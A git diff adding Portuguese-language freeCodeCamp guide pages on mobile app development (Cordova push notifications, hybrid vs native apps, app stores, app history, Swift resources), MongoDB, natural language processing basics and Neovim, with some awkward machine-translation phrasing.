+Uma vez que o comando cordova build for bem sucedido, abra o aplicativo no xcode. Para fazer isso, abra o arquivo xcode.proj, que estará localizado em
+```
+your_cordova_project/platforms/ios/app_name.xcodeproj 
+```
+
+para mim é
+```
+/Volumes/Development/pushSample/pushSample/platforms/ios/PushSample.xcodeproj 
+```
+
+![Projeto Xcode](https://preview.ibb.co/hePLOa/1_Xe_Kh4_VXU_o_BQ05_UGRa_B6_A.png)
+
+Em seguida, ative as notificações por push na guia Recursos do projeto.
+
+Conecte um dispositivo real e execute o aplicativo.
+
+Agora, acione a notificação por push do compositor de notificação do Firebase e tudo deve funcionar ... ![steve feliz](https://image.ibb.co/jz8VOa/1vnhjv.jpg)
+
+[A postagem original no Medium](https://medium.com/@t1tan1um/fcm-integration-for-cordova-hybrid-apps-c679f5fc1988) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/index.md b/client/src/guide/portuguese/mobile-app-development/index.md
new file mode 100644
index 0000000000..844fd6e40f
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Mobile Application Development
+localeTitle: Desenvolvimento de Aplicativos Móveis
+---
+## Desenvolvimento de Aplicativos Móveis
+
+![aplicações híbridas](https://preview.ibb.co/chfPGv/Whats_App_Image_2017_09_11_at_12_48_41_PM.jpg)
+
+Esta seção contém artigos relacionados ao desenvolvimento de aplicativos híbridos móveis usando estruturas como o Apache Cordova, o Ionic Framework e o React Native.
+
+## Vantagem e Desvantagem da Aplicação Nativa vs Híbrida
+
+Definição de aplicativo nativo
+
+*   Criado para um sistema operacional específico e pode ser acessado somente na loja de aplicativos dedicada. O Android App só pode ser acessado por usuários do Android e é desenvolvido usando Java, Windows, C ++ etc. iOS App usando XCode / Objective-C etc.
+*   Custos de desenvolvimento e esforço são maiores
+
+Definição de aplicativo híbrido
+
+*   Usa o contêiner do navegador do dispositivo nativo para conter o aplicativo HTML5.
+*   O desenvolvimento de aplicativos híbridos é uma interface de usuário de plataforma cruzada consistente.
+
+Custo de Desenvolvimento e Tempo
+
+Os aplicativos híbridos gastam menos tempo e dinheiro para serem desenvolvidos em comparação com o aplicativo nativo. Um código para ambas as plataformas.
+
+Experiência de usuário
+
+Os aplicativos nativos oferecem a melhor experiência do usuário em termos de aparência coerente para o dispositivo específico. Melhor desempenho para o aplicativo nativo comparado ao aplicativo híbrido
+
+### Apache Cordova
+
+O Apache Cordova é o wrapper que envolve seu HTML, CSS e JavaScript em um pacote móvel que pode ser construído, agindo como a mágica que cola tudo junto e o transforma em um aplicativo para dispositivos móveis
+
+### Estrutura Iônica
+
+O Ionic Framework é uma estrutura CSS que permite estilizar suas telas para serem compatíveis com dispositivos móveis, atuando essencialmente como bootstrap, mas para aplicativos móveis enquanto desenvolve usando tecnologias da Web.
+
+### Reagir Nativo
+
+O React Native é uma estrutura de desenvolvimento de front-end que contém muitos elementos de blocos de construção para desenvolvimento Android / iOS e é um tipo diferente de magia do Apache Cordova.
+
+### NativeScript
+
+Originalmente criado pela Progress, os aplicativos NativeScript são criados usando JavaScript, ou usando qualquer idioma que transpila para JavaScript, como o TypeScript, por exemplo. O NativeScript suporta diretamente as estruturas Angular e Vue através de um plugin desenvolvido pela comunidade. Aplicativos móveis criados com o NativeScript resultam em aplicativos totalmente nativos, que usam as mesmas APIs como se fossem desenvolvidos no Xcode ou no Android Studio.
+
+### Flutter
+
+O Flutter é um framework de desenvolvimento móvel de plataforma cruzada do Google, e ele pode ser usado para criar aplicativos ios e Android com facilidade. Ele usa o Dart como seu idioma principal. O recurso de recarga quente ajuda a acelerar o processo geral de desenvolvimento. Flutter produz aplicativos nativos reais, como no caso do React Native, em oposição a Cordova, Ionic e Cordova, que produz aplicativos híbridos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/mobile-app-development-definition/index.md b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-definition/index.md
new file mode 100644
index 0000000000..4ef57f53b5
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-definition/index.md
@@ -0,0 +1,25 @@
+---
+title: What Is A Mobile Application? 
+localeTitle: O que é um aplicativo móvel?
+---
+Aqui está a definição da Wikipedia:
+
+Um aplicativo móvel (ou aplicativo móvel) é um aplicativo de software projetado para ser executado em smartphones, tablets e outros dispositivos móveis.
+
+Tão bem direto então? Não é bem assim. A história do aplicativo móvel começa, obviamente, com a história do dispositivo móvel e os primeiros telefones celulares cujos microchips exigiam o software mais básico para enviar e receber chamadas de voz. Mas desde então as coisas ficaram muito mais complicadas. Um aplicativo móvel ou aplicativo móvel é um aplicativo de software. Basicamente, é um programa gerado por computador projetado e desenvolvido para rodar em iPhone, Smartphones, tablets e muitos outros dispositivos móveis. Sem dúvida, o mundo aceitou o fato de que os aplicativos são a maneira de aproveitar ao máximo os smartphones. Então, será fascinante traçar as marcações do histórico para o desenvolvimento de aplicativos móveis.
+
+### Onde é que tudo começou?
+
+No dia 3 de abril de 1973, o primeiro telefonema foi feito por Martin Cooper, da Motorola, ao Dr. Joel S. Engel, da Bell Labs. Esse dispositivo ou instrumento pesava 1,1 kg e medindo (23 x 13 x 4,45) cm. E foram necessárias duas décadas de Pesquisa e Desenvolvimento (P & D) para obter o primeiro aplicativo móvel para smartphones, e o crédito foi para a IBM Simon, que apresentou ao mundo os primeiros aplicativos móveis para smartphones.
+
+### O que torna os aplicativos móveis tão populares?
+
+A maioria das pessoas tem smartphones e iPhones hoje em dia, por isso, os aplicativos são de fácil acesso e, como resultado, melhoram sua vida. Existem milhões de aplicativos móveis no momento. Por exemplo, aplicativos para redes sociais, viagens, saúde, serviços bancários, fitness, calendários, jogos, notícias e muito mais. A Apple App Store adiciona mais de 20.000 aplicativos por mês.
+
+### Cronograma de desenvolvimento de aplicativos para dispositivos móveis
+
+O desenvolvimento de aplicativos móveis não é apenas o principal negócio de hoje, mas também é o ganhador de pão de muitas pessoas em todo o mundo. Tome WhatsApp; Este pequeno aplicativo foi desenvolvido e revolucionou a comunicação global e agora faz parte da maior e mais popular rede social popular, ao mesmo tempo em que recompensou seus proprietários com milhões de dólares. O que os donos de empresas não conseguem perceber quando perguntam a uma indústria de desenvolvimento de aplicativos são os cronogramas que devem ser considerados por ambas as partes para o desenvolvimento do aplicativo. Através deste artigo, pretendemos esclarecer os equívocos que os clientes têm com o processo de desenvolvimento de aplicativos. O desenvolvimento de aplicativos não é um jogo de crianças; requer uma quantidade significativa de pensamento crítico, pesquisa e análise de mercado antes do desenvolvimento. Tudo isso leva tempo.
+
+### Como você pode começar a criar aplicativos?
+
+Existem muitas ferramentas à sua disposição das quais você pode começar a criar seus próprios aplicativos. O mais popular é o Android Studio, que usa Java e XML. O XCode permite criar aplicativos para o iOS. Mas esses aplicativos exigem uma boa quantidade de conhecimento de programação. Para todos os iniciantes, o MIT AppInventor 2 vem para o resgate. Com a programação simples baseada em blocos, é possível codificar e fazer facilmente os próprios aplicativos lá e publicá-los para os outros.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/mobile-app-development-distribution/index.md b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-distribution/index.md
new file mode 100644
index 0000000000..8171fe2497
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-distribution/index.md
@@ -0,0 +1,19 @@
+---
+title: Distribution of mobile app development
+localeTitle: Distribuição de desenvolvimento de aplicativos para dispositivos móveis
+---
+### Distribuição
+
+As duas maiores lojas de aplicativos são o Google Play para Android e a App Store para iOS.
+
+#### Google Play
+
+Artigo principal: Google Play O Google Play (anteriormente conhecido como Android Market) é uma loja de software on-line internacional desenvolvida pelo Google para dispositivos Android. Foi inaugurado em outubro de 2008. Em julho de 2013, o número de aplicativos baixados via Google Play Store ultrapassou 50 bilhões, dos mais de 1 milhão de aplicativos disponíveis. Em setembro de 2016, de acordo com a Statista, o número de aplicativos disponíveis ultrapassou 2,4 milhões. A loja gerou uma receita de 6 bilhões de dólares em 2015.
+
+#### Loja de aplicativos
+
+Artigo principal: App Store (iOS) A App Store da Apple para iOS não foi o primeiro serviço de distribuição de aplicativos, mas iniciou a revolução dos dispositivos móveis e foi inaugurada em 10 de julho de 2008 e, em janeiro de 2011, registrou mais de 10 bilhões de downloads. A AppStore original foi demonstrada pela primeira vez a Steve Jobs em 1993 por Jesse Tayler na NeXTWorld Expo Em 6 de junho de 2011, havia 425.000 aplicativos disponíveis, que foram baixados por 200 milhões de usuários do iOS. Durante a Conferência Mundial de Desenvolvedores de 2012 da Apple, o CEO Tim Cook anunciou que a App Store tem 650.000 aplicativos disponíveis para download, bem como 30 bilhões de aplicativos baixados da loja de aplicativos até essa data. De uma perspectiva alternativa, os números vistos em julho de 2013 pela BBC do serviço de rastreamento Adeven indicam que mais de dois terços dos aplicativos na loja são "zumbis", quase nunca instalados pelos consumidores.
+
+#### Outras
+
+A Amazon Appstore é uma loja de aplicativos alternativa para o sistema operacional Android. Foi inaugurado em março de 2011 e, a partir de junho de 2015, a loja de aplicativos tem quase 334.000 aplicativos. Os aplicativos Android da Amazon Appstore também podem ser instalados e executados em dispositivos BlackBerry 10. O BlackBerry World é a loja de aplicativos para dispositivos BlackBerry 10 e BlackBerry OS. Foi inaugurado em abril de 2009 como BlackBerry App World. O Ovi (Nokia) para telefones Nokia foi lançado internacionalmente em maio de 2009. Em maio de 2011, a Nokia anunciou planos de remarcar sua linha de produtos Ovi sob a marca Nokia e a Ovi Store foi renomeada Nokia Store em outubro de 2011. A Nokia Store não permitirá mais que desenvolvedores publicar novos aplicativos ou atualizações de aplicativos para seus sistemas operacionais Symbian e MeeGo herdados a partir de janeiro de 2014. A Windows Phone Store foi lançada pela Microsoft para sua plataforma Windows Phone, lançada em outubro de 2010. A partir de outubro de 2012, ela possui mais de 120.000 aplicativos disponíveis. A Windows Store foi introduzida pela Microsoft para suas plataformas Windows 8 e Windows RT. Embora também possa carregar listagens de programas de desktop tradicionais certificados para compatibilidade com o Windows 8, ele é usado principalmente para distribuir "aplicativos da Windows Store" - que são criados principalmente para uso em tablets e outros dispositivos baseados em toque (mas ainda podem ser usados ​​com um teclado e mouse, e em computadores desktop e laptops). O Samsung Apps foi lançado em setembro de 2009. Em outubro de 2011, o Samsung Apps atingiu 10 milhões de downloads. A loja está disponível em 125 países e oferece aplicativos para as plataformas Windows Mobile, Android e Bada. O Electronic AppWrapper foi o primeiro serviço de distribuição eletrônica a fornecer coletivamente criptografia e compra eletronicamente F-Droid - Repositório de aplicativos Android gratuito e de código aberto. Existem inúmeras outras lojas de aplicativos independentes para dispositivos Android.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/mobile-app-development-evolution/index.md b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-evolution/index.md
new file mode 100644
index 0000000000..d371008988
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-evolution/index.md
@@ -0,0 +1,29 @@
+---
+title: Evolution of Mobile Application Development
+localeTitle: Evolução do Desenvolvimento de Aplicativos Móveis
+---
+Um dos argumentos mais convincentes do voto foi de uma mulher que disse que até mesmo sua avó tinha ouvido falar disso, disse Ben Zimmer, da American Dialect Society. Ele estava explicando as razões por trás da decisão da organização de 128 anos de escolher a palavra App como a palavra do ano de 2010. Dois anos antes, em 2008, a Apple lançou a App Store iOS, que permitia o desenvolvimento de aplicativos de terceiros. e distribuição. Essa liberação do mercado de aplicativos levou a uma explosão de aplicativos novos e inovadores e se tornou parte do léxico dos usuários de dispositivos móveis.
+
+#### Anos 80
+
+O consumo em massa de aplicativos para dispositivos móveis começou no final dos anos 2000 com a chegada dos serviços de distribuição de aplicativos, mas a história do desenvolvimento de aplicativos para dispositivos móveis ainda está no passado. Nos anos 80, a empresa britânica Psion lançou uma série de computadores de bolso chamada Psion Organizer. O segundo modelo do PDA (Personal Digital Assistant) incluía aplicativos como gerenciador de arquivos, aplicativos de proteção por senha, bem como jogos de quebra-cabeça e aventura. Mais tarde, lançou o sistema operacional EPOC com Backronym Electronic Piece of Cheese, que impulsionou aplicativos mais sofisticados, como planilhas e processadores de texto.
+
+#### Anos 90
+
+Muitas vezes chamado de primeiro smartphone do mundo, o IBM Simon apresentava aplicativos como e-mail, catálogo de endereços, calculadora e calendário focados na produtividade. À medida que os processadores se tornaram mais rápidos e os dispositivos de memória se tornaram mais baratos, novas inovações foram filtradas. Em 1998, o EPOC tornou-se Symbian, uma joint venture de propriedade da Nokia, Psion, Ericsson e Motorola. O Symbian OS foi amplamente utilizado pela Nokia, Samsung, LG e Ericsson, embora com diferentes plataformas e APIs.
+
+Ao mesmo tempo, outra empresa, a Palm, lançou o Palm Pilot em 1996, com recursos como tela sensível ao toque e sincronização de dados, que agora são onipresentes em smartphones contemporâneos.
+
+#### Anos 2000
+
+Em 2007, a Apple lançou seu primeiro iPhone, que operava no sistema operacional iOS. Alguns meses depois, uma empresa coreana HTC lançou o primeiro smartphone operando no sistema operacional Android desenvolvido pelo gigante da internet Google. Ambas as plataformas ofereciam um mercado para aplicativos em que os usuários eram livres para instalar aplicativos pagos e gratuitos para seus smartphones. A App Store da Apple e o Android Market do Google (agora chamado de Google Play), além de telas multitoque, revolucionaram o ecossistema da App. A Microsoft também adotou o sistema operacional Windows, que foi adotado pela Nokia sobre seu próprio sistema operacional Symbian.
+
+#### 2010s-Present
+
+As plataformas Android e iOS atingiram o marco de um bilhão de instalações em 2009-10 e, em 2011, o uso de aplicativos superou o uso da web móvel. A conveniência do telefone celular deu aos aplicativos uma vantagem sobre o software de desktop e é cada vez mais preferida em relação à web móvel.
+
+2014 chegou com tecnologia wearable através do Apple Watch, Google Glass e Android Wear. Esses dispositivos podem usar a tecnologia háptica para utilitários de nicho, como rastreadores de condicionamento físico e ferramentas de navegação, e conectar-se a smartphones para notificações por e-mail.
+
+#### O futuro
+
+Internet das coisas (IOT), computação em nuvem e realidade virtual abrirão novos caminhos para aplicativos móveis. Um refrigerador que detecta uma lata vazia de leite e a ordena através do IOT integrado ao e-commerce App ou Virtual Reality Game e Apps de Educação, as possibilidades são numerosas. Na competição acirrada entre aplicativos, inovação e dinamismo serão a chave para capturar os mercados e também a mente dos clientes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/mobile-app-development-introduction/index.md b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-introduction/index.md
new file mode 100644
index 0000000000..be53e78c36
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/mobile-app-development-introduction/index.md
@@ -0,0 +1,39 @@
+---
+title: Mobile app development
+localeTitle: Desenvolvimento de aplicativos para dispositivos móveis
+---
+### Introdução ao desenvolvimento de aplicativos
+
+Uma das formas mais populares de codificação nos últimos tempos é a criação de aplicativos ou aplicativos que são executados em dispositivos móveis, como telefones e tablets. Você provavelmente usa uma variedade de aplicativos diferentes em sua vida cotidiana. Não seria legal criar um dos seus próprios? Há muitas vantagens de ser um desenvolvedor na indústria de aplicativos em expansão. Muitas pessoas ganham a vida desenvolvendo e vendendo aplicativos, e você tem a oportunidade de ser um deles. Você pode até se tornar o próximo Nick D'Aloisio, que vendeu seu aplicativo para iPhone, Summly, para o Yahoo! por US $ 30 milhões. Além disso, é a melhor maneira de colocar seu trabalho nos bolsos das pessoas!
+
+### Visão geral do desenvolvimento de aplicativos
+
+Aplicativos móveis são desenvolvidos para uma determinada plataforma, e as duas plataformas mais populares hoje são iOS e Android. A plataforma iOS é compatível com aplicativos criados para iPhone e iPad. Para desenvolver um aplicativo para iPhone ou iPad, você precisa usar a linguagem de programação Objective-C e o framework Cocoa. Você também precisa usar um IDE (ambiente de desenvolvimento integrado) chamado Xcode. Note que o Xcode só roda no Mac, então você precisará de um Mac para fazer um aplicativo para iOS.Os aplicativos Android são desenvolvidos com a linguagem de codificação Java e o Android Software Development Kit, que roda em Mac, PC ou Linux. Você também precisa usar um IDE como o Eclipse. Existem outras plataformas móveis, como o Windows Phone, mas o iOS e o Android são definitivamente os mais populares. A maioria dos treinamentos se concentra nessas plataformas.
+
+#### iOS (iPhone, iPad)
+
+O iOS é um sistema operacional móvel desenvolvido e distribuído pela Apple Inc. Foi originalmente lançado em 2007 para o iPhone, iPod Touch e Apple TV. O iOS é derivado do OS X, com o qual compartilha a fundação Darwin. iOS é a versão móvel da Apple do sistema operacional OS X usado em computadores Apple.
+
+#### Iônico
+
+Ionic é uma estrutura de software livre usada para desenvolver aplicativos móveis. Ele fornece ferramentas e serviços para criar a interface do usuário móvel com aparência e comportamento nativos. A estrutura iônica precisa de um wrapper nativo para poder ser executado em dispositivos móveis. Este é um tutorial introdutório, que aborda os conceitos básicos do Ionic Open Source Framework e explica como lidar com seus vários componentes e subcomponentes.
+
+#### Android
+
+O Android é um sistema operacional de código aberto e baseado em Linux para dispositivos móveis, como smartphones e tablets. O Android foi desenvolvido pela Open Handset Alliance, liderada pelo Google e por outras empresas. Este tutorial irá ensinar-lhe a programação básica do Android e também irá levá-lo através de alguns conceitos avançados relacionados ao desenvolvimento de aplicações Android.
+
+#### Xamarin
+
+A Xamarin é uma empresa de software sediada em São Francisco. Ele fornece ferramentas de desenvolvimento de software comercial que permitem ao usuário desenvolver aplicativos para Android, iOS e Windows usando a linguagem C # e o .NET framework. Xamarin é construído no .NET Framework. Permite criar aplicativos que são facilmente executados em várias plataformas. Neste tutorial, explicaremos como você pode usar o Xamarin para fornecer aplicativos iOS, Android e Windows nativos.
+
+#### PhoneGap
+
+O PhoneGap é uma estrutura de desenvolvimento de software do Adobe System, que é usada para desenvolver aplicativos móveis. Para desenvolver aplicativos usando o PhoneGap, o desenvolvedor não precisa ter conhecimento da linguagem de programação móvel, mas apenas de linguagens de desenvolvimento da Web, como HTML, CSS e JScript. O PhoneGap produz aplicativos para todas as plataformas de sistemas operacionais móveis populares, como iOS, Android, BlackBerry e Windows Mobile OS etc. Neste tutorial, vamos nos concentrar no desenvolvimento da plataforma App for Android. Este tutorial fornecerá informações adequadas sobre como produzir aplicativos rapidamente usando os serviços do PhoneGap.
+
+#### Reagir Nativo
+
+Reagir Native apenas como PhoneGap e cordova oferece a oportunidade para os desenvolvedores da Web para entrar no mundo do desenvolvimento de aplicativos móveis. É uma estrutura de aplicativos móveis de plataforma cruzada do Facebook i, e pode-se criar aplicativos para a plataforma Android e iOS usando Javascript (JSX). Ao contrário dos aplicativos híbridos produzidos por cordova e phonegap, o React Native produz aplicativos nativos reais que podem utilizar todos os recursos nativos. Ele vem com o slogan, "Escreva uma vez, execute em todos os lugares". Normalmente, as empresas de tecnologia costumavam ter equipes separadas que mantinham a base de código para iOS e Android. Reagir Nativo resolve este problema de uma maneira eficaz, permitindo que os Desenvolvedores Web com experiência em React criem aplicativos móveis incríveis. Para continuar com esta faixa, comece com React. Deve-se estar familiarizado com todos esses conceitos como componentes, estados, adereços, roteamento etc. antes de saltar para o Reagir Nativo. Também é bom se é possível criar vários projetos no React para familiarizar-se com a sintaxe JSX e todos os outros itens que certamente seriam beneficiados quando entrarem no React Native.
+
+#### PowerApps
+
+Lançado em 2017, o PowerApps é uma plataforma baseada em navegador da Microsoft que permite que desenvolvedores e não desenvolvedores criem aplicativos móveis a partir de modelos selecionáveis ​​ou de uma tela em branco. O PowerApps no seu núcleo é uma plataforma como serviço. Ele permite que você crie aplicativos móveis que são executados no Android, iOS, Windows (aplicativos modernos) e com praticamente qualquer navegador da Internet. Ele cuida das diferenças entre os sistemas operacionais e apenas permite que você execute seus aplicativos. É essencialmente um contêiner que torna os aplicativos móveis muito mais fáceis de usar em plataformas móveis. O PowerApps oferece para acelerar drasticamente a forma como os aplicativos de negócios são criados, reduzindo o tempo de solução de semanas ou meses para minutos e capacitando uma nova categoria de criadores de aplicativos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/swift-development/index.md b/client/src/guide/portuguese/mobile-app-development/swift-development/index.md
new file mode 100644
index 0000000000..d05da602d5
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/swift-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Swift Development
+localeTitle: Desenvolvimento Rápido
+---
+## Desenvolvimento Rápido
+
+Esta seção contém recursos relacionados ao desenvolvimento de aplicativos nativos do iOS usando o Swift.
+
+Esta é a minha lista curada de incríveis Recursos Swift e iOS para se tornar um desenvolvedor iOS autodidata.
+
+## Alguma motivação para você começar
+
+*   [Prodigy Programmer de 14 anos sonha em código](https://www.youtube.com/watch?v=DBXZWB_dNsw)
+*   [Mais jovem engenheiro do Facebook - Michael Sayman](https://www.youtube.com/watch?v=mmQG_BCiVHU)
+*   [Um desenvolvedor de aplicativos de 12 anos de idade | Thomas Suarez](https://www.youtube.com/watch?v=Fkd9TWUtFm0)
+*   [A vida de um desenvolvedor independente de aplicativos - Computerphile](https://www.youtube.com/watch?v=yVRtJbXQsL8)
+*   [Indie iOS Dev em tempo integral e co-fundador da 1Button: Entrevista com Dev Castel com Thomas Castel](https://www.raywenderlich.com/159963/full-time-indie-ios-dev-co-founder-1button-top-dev-interview-thomas-castel)
+*   [Quanto dinheiro (em média) um desenvolvedor iOS faz em 2017 - Brian Voong](https://www.youtube.com/watch?v=6t3ue7dX5WI)
+
+## Aprendizagem Swift
+
+### Principiante
+
+#### Livros
+
+*   [Programação Swift - Big Nerd Ranch Guide](https://www.bignerdranch.com/books/swift-programming/)
+*   [Hacking com Swift](https://www.hackingwithswift.com/read)
+
+#### Tutoriais em vídeo
+
+*   [Swift Track - Team Treehouse](https://teamtreehouse.com/tracks/learn-swift)
+*   [O desenvolvedor do iOS Nanodegree - Udacity](https://www.udacity.com/course/ios-developer-nanodegree--nd003)
+
+#### Playlists do Youtube
+
+*   [O tutorial completo do Swift 3 com Bob](https://www.youtube.com/playlist?list=PL8btZwalbjYlRZh8Q1VK80Ly0YsZ7PZxx)
+*   [Introdução ao Swift 3 - WWDC da Apple 2016](https://www.youtube.com/watch?v=AzesJrOcFDU)
+
+### Avançado
+
+#### Livros
+
+*   [Pro Swift](https://www.hackingwithswift.com/store/pro-swift)
+*   [Desafios da codificação rápida](https://www.hackingwithswift.com/store/swift-coding-challenges)
+*   [IOS prático 10](https://www.hackingwithswift.com/store/practical-ios10)
+
+#### Playlists do Youtube
+
+*   [Programação Avançada Orientada a Objetos Swift](https://www.youtube.com/playlist?list=PL8btZwalbjYmZwMwqeeAZKHsQ81GxiuaD)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mongodb/index.md b/client/src/guide/portuguese/mongodb/index.md
new file mode 100644
index 0000000000..518a49fa85
--- /dev/null
+++ b/client/src/guide/portuguese/mongodb/index.md
@@ -0,0 +1,38 @@
+---
+title: MongoDB
+localeTitle: MongoDB
+---
+## MongoDB
+
+O MongoDB é um banco de dados não relacional de código aberto que usa uma estrutura semelhante a JSON para armazenar dados. Ele usa um modelo de documento para armazenar e recuperar os dados, em vez do modelo de tabela usado por bancos de dados sequenciais, como SQL ou Oracle.
+
+### NOSQL Vs RDBMS
+
+| Termos e conceitos do MongoDB | Termos e conceitos do SQL | | --- | --- | | Banco de dados | Banco de dados | | Colecção | Tabela | | documento | Row | | Field | Coluna | | Índice | Índice | | Documentos Embutidos | Junta de mesa |
+
+### Características do MongoDB
+
+1.  Banco de dados da próxima geração
+2.  Nenhuma junção
+3.  Clustering
+4.  Código aberto
+5.  Esquema menos
+6.  Sem relacionamentos
+
+### Recursos do MongoDB
+
+1.  Banco de dados de documentos
+2.  Alta performance
+3.  Linguagem de consulta avançada
+4.  Alta disponibilidade
+5.  Escalabilidade Horizontal
+
+### Mais Informações
+
+[O que é o Mongo DB?](https://www.mongodb.com/what-is-mongodb)
+
+[Artigo da Wikipedia sobre bancos de dados orientados a documentos](https://en.wikipedia.org/wiki/Document-oriented_database)
+
+[SQL vs NoSQL](https://insights.dice.com/2012/07/16/sql-vs-nosql-which-is-better/)
+
+[Aprenda MongoDB do MongoDB](https://university.mongodb.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/natural-language-processing/index.md b/client/src/guide/portuguese/natural-language-processing/index.md
new file mode 100644
index 0000000000..394c8cd84d
--- /dev/null
+++ b/client/src/guide/portuguese/natural-language-processing/index.md
@@ -0,0 +1,38 @@
+---
+title: Introduction to NLP
+localeTitle: Introdução ao PNL
+---
+## Esboço
+
+*   Motivação
+*   Casos de uso
+*   Modelagem de Linguagem
+*   Outras leituras
+
+## Motivação
+
+Sempre foi nosso sonho fazer as máquinas entenderem a nossa linguagem. Desde que Chomsky criou gramáticas livres de Contexto, os linguistas têm procurado soluções para entender as gramáticas dependentes do contexto. Portanto, é natural que um discípulo acadêmico tenha evoluído em torno deste tópico.
+
+## Casos de uso
+
+As pessoas usaram esse conceito em muitas aplicações interessantes. Alguns dos mais interessantes incluem as sugestões de resposta automática do Google Tradutor, do Siri ou do Gmail. No entanto, as pessoas estão trabalhando em maneiras de melhorar essas previsões, e pesquisas de ponta estão sendo feitas sobre como fazer com que as máquinas respondam às perguntas com mais segurança.
+
+## Como funciona o processamento de linguagem natural
+
+Anteriormente, a PNL empregava uma abordagem baseada em regras, ou seja, todas as regras eram codificadas (por exemplo, escrever a gramática). No entanto, isso não foi muito afetivo para as variações nos modelos de linguagem. Atualmente, os processos de PNL são realizados usando Inteligência Artificial. Eles dependem principalmente do Deep Learning, uma IA que determina padrões nos dados e os usa para treinar o modelo. Esse método é melhor do que os métodos anteriores usados ​​porque, ao aprender com os enormes dados presentes, a máquina pode se concentrar nos casos mais comuns, o que não é fácil com as regras escritas à mão, porque não se sabe onde devem ser feitos os esforços. . Além disso, esses modelos tornam-se mais confiáveis ​​com o aumento de dados, mas nas abordagens anteriores só se torna preciso aumentando a complexidade das regras, o que é uma tarefa mais difícil. O modelo aprende as regras da linguagem através da análise de grandes corpora de exemplos típicos do mundo real. Este método requer uma enorme quantidade de dados rotulados, o que é um grande obstáculo para a PNL.
+
+## Modelagem de Linguagem
+
+Para aqueles que procuram entrar neste campo, pretendo começar com dois conceitos.
+
+#### Tokenização
+
+Aqui a tarefa parece simples. Dado um corpus (um conjunto de dados de sentenças), gere tokens individuais (palavras significativas). Precisamos separar palavras e frases. A primeira abordagem que vem à mente é dividir por período e espaço. Isso, no entanto, não funciona. Considere o Sr. John. São "Mr" e "John" 2 frases? Claro que não. Agora considere palavras separadas por hífen. Você gostaria de dividi-los como 2 palavras ou como 1 palavra? Essas questões difíceis tornam a tarefa da tokenização não tão direta. Vá em frente e escolha um corpus de nltk e construa seu próprio regex para o seu próprio tokeniser!
+
+#### modelos n-gram
+
+A próxima tarefa é criar um modelo de linguagem. Aqui consideramos uma suposição de que a enésima palavra depende apenas das palavras n-1 anteriores. Modelos de 2 e 3 gramas são mais comumente usados. Para construir um modelo de 3 gramas, apenas agrupe 3 fichas e conte sua freqüência no corpus. Agora você está pronto para prever a probabilidade de um grupo de três palavras!
+
+## Outras leituras
+
+O campo da PNL é enorme. Se você leu até aqui e implementou o acima, você certamente adorou isso. Vá em frente e leia o livro de Jurafsky para aprender mais alguns conceitos novos. Lembre-se, é importante implementá-los também.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/neovim/index.md b/client/src/guide/portuguese/neovim/index.md
new file mode 100644
index 0000000000..2dae18f96f
--- /dev/null
+++ b/client/src/guide/portuguese/neovim/index.md
@@ -0,0 +1,39 @@
+---
+title: Neovim
+localeTitle: não autorizado
+---
+# Neovim
+
+Neovim é um refatorador e às vezes redator, na tradição do Vim (que deriva de [Stevie](https://en.wikipedia.org/wiki/Stevie_%28text_editor%29 "Stevie") ). Não é uma reescrita, mas uma continuação e extensão do Vim. Existem muitos clones e derivados, alguns muito inteligentes - mas nenhum é o Vim. O Neovim foi criado para usuários que desejam as partes boas do Vim e muito mais. O Vim é um editor de texto altamente configurável, criado para tornar a criação e a alteração de qualquer tipo de texto muito eficiente. Está incluído como "vi" na maioria dos sistemas UNIX e no Apple OS X.
+
+## Objetivos
+
+*   Fornecer um Vim flexível e extensível com uma alternativa de script rápido de primeira classe (lua / luajit)
+*   Proporcionar uma experiência de usuário consistente em todas as plataformas
+*   Alavancar o desenvolvimento contínuo do Vim: harmonia
+*   Manter a paridade de recursos com o Vim; evitar regressões
+*   Continuar a tradição do Vim de compatibilidade com versões anteriores, com poucas exceções
+*   Mantenha o núcleo pequeno e rápido
+*   Segmente todas as plataformas suportadas pelo libuv
+*   Otimize imediatamente, para novos usuários, mas especialmente usuários comuns
+*   Delegar a plugins, mas preservar a utilidade do núcleo do editor
+
+## Não-objetivos
+
+*   Transforme o Vim em um IDE
+*   Limite de aplicativos de terceiros (como IDEs!) Criados com o Neovim
+*   Depreciar o VimL
+*   Compatibilidade com Vi
+
+## Princípios
+
+*   Não regride da origem
+*   Decida os resultados ponderando custo e benefício
+*   Use automação para resolver problemas
+*   Ativar novos contribuidores: remover barreiras à entrada
+*   Desbloquear terceiros e autores de plugins: permitir progresso
+*   Em questões de gosto ou ambiguidade, favorece a tradição / compatibilidade ...
+*   … Mas preferem a usabilidade sobre a tradição se os benefícios forem esmagadores
+*   Dê uma chance à usabilidade ™
+
+Para mais informações, dirija-se à [homepage do Neovim](https://neovim.io/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/data-frames/index.md b/client/src/guide/portuguese/network-engineering/data-frames/index.md
new file mode 100644
index 0000000000..dccafc88e6
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/data-frames/index.md
@@ -0,0 +1,15 @@
+---
+title: Data Frames
+localeTitle: Quadros de dados
+---
+## Quadros de dados
+
